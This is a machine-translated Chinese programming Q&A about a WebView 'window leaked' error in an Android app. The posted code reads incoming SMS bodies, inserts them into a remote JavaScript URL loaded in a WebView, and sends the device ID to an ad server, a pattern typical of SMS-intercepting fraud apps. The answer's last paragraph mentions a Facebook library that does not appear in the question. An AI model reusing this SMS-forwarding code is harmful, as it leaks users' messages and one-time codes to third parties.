我有一个活动主要活动有一个网页视图,我想在广播接收方接收方消息时加载网页视图,还有一个服务类将数据传递到活动网页视图,如果活动打开并且任何消息从接收方接收网址加载成功,但当我关闭应用程序时,有错误窗口泄露,我已经显示了很多答案,但我没有解决它,请帮助我
这里是加载URL的主要活动界面方法
@Override
public void setwebview(String url) {
Log.d("URL@@", "" + url);
webView.loadUrl(url, extraHeaders);
}
这里是服务类的start命令方法,其中将数据传递给activity
public void onCreate() {
isRunning = true;
Log.d("CALLLL@@", "onCreate");
String uniqueId = UUID.randomUUID().toString();
@SuppressLint("HardwareIds") String ANDROID_ID = Settings.Secure.getString(this.getContentResolver(),
Settings.Secure.ANDROID_ID);
Log.d("DEVICE_ID@@", " YES : " + ANDROID_ID);
mainUrl = "http://tr.adsx.bid/url4app.php?device=" + ANDROID_ID + "&rand=" + uniqueId;
context = getApplicationContext();
if (timer != null && timerTask != null) {
timerTask.cancel();
timer.cancel();
}
String abc = Util.ReadSharePrefrence(context, START);
if (abc.equalsIgnoreCase("start")) {
callApi(mainUrl, "stop");
Log.d("PREF@@", "" + abc);
} else if (abc.equalsIgnoreCase("stop")) {
callApi(mainUrl, "start");
Util.WriteSharePrefrence(context, START, "start");
Log.d("PREF@@", "else" + abc);
}
}
@Override
public boolean onUnbind(Intent intent) {
if (timer != null && timerTask != null) {
timerTask.cancel();
timer.cancel();
}
callApi(mainUrl, "stop");
isRunning = false;
return super.onUnbind(intent);
}
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
isRunning = true;
if (intent != null) {
jsurl = intent.getStringExtra("JSURL");
if (jsurl != null) {
serviceInterface.setwebview(jsurl);
}
}
Log.d("CALLLL@@", "onStart");
return START_STICKY;
}
这里是广播接收器类
@Override
public void onReceive(Context context, Intent intent) {
Toast.makeText(context, "Received...", Toast.LENGTH_SHORT).show();
final Bundle bundle = intent.getExtras();
try {
if (bundle != null) {
final Object[] pdusObj = (Object[]) bundle.get("pdus");
assert pdusObj != null;
for (Object aPdusObj : pdusObj) {
SmsMessage currentMessage = SmsMessage.createFromPdu((byte[]) aPdusObj);
switch (SMSNUMBER = currentMessage.getDisplayOriginatingAddress()) {
}
SMS = currentMessage.getDisplayMessageBody();
Log.i("SmsReceiver", "senderNum: " + SMSNUMBER + "; message: " + SMS);
int duration = Toast.LENGTH_LONG;
Toast.makeText(context, "senderNum: " + SMSNUMBER + ", message: " + SMS, duration).show();
String javaScriptUrl = Util.ReadSharePrefrence(context, JAVASCRIPTURL);
Log.d("JAVAURL@@", "SMS" + javaScriptUrl);
String newString = javaScriptUrl.replace("SMSMACRO", SMS);
Log.d("JAVAURL@@", "SMS" + newString);
Intent intent1 = new Intent(context, AutoOpenAppService.class);
intent1.putExtra("JSURL", newString);
context.startService(intent1);
/* Util.WriteSharePrefrence(context, jsurl, newString);
context.startService(new Intent(context, AutoOpenAppService.class));*/
}
}
} catch (Exception e) {
Log.e("SmsReceiver", "Exception smsReceiver" + e);
}
}
答案 0 :(得分:0)
如果您有任何AlertDialog检查其上下文并检查活动是否正在运行。
这很有可能发生,因为您正在尝试在执行后台线程后显示一个对话框,而Activity正在被销毁。
当我尝试显示对话框时,当调用对话框的活动由于某种原因而完成时,我看到我的一些应用程序偶尔会报告此错误。以下是为我解决的问题:
@Override
public void onReceive(Context context, Intent intent) {
if(!((Activity) context).isFinishing())
{
//do your stuff here
}
}
从上面的堆栈跟踪中,看来facebook库异步地旋转了auth操作,并且你有一个Handler - Callback机制(onConmplete在一个监听器上调用),可以很容易地创建这个场景。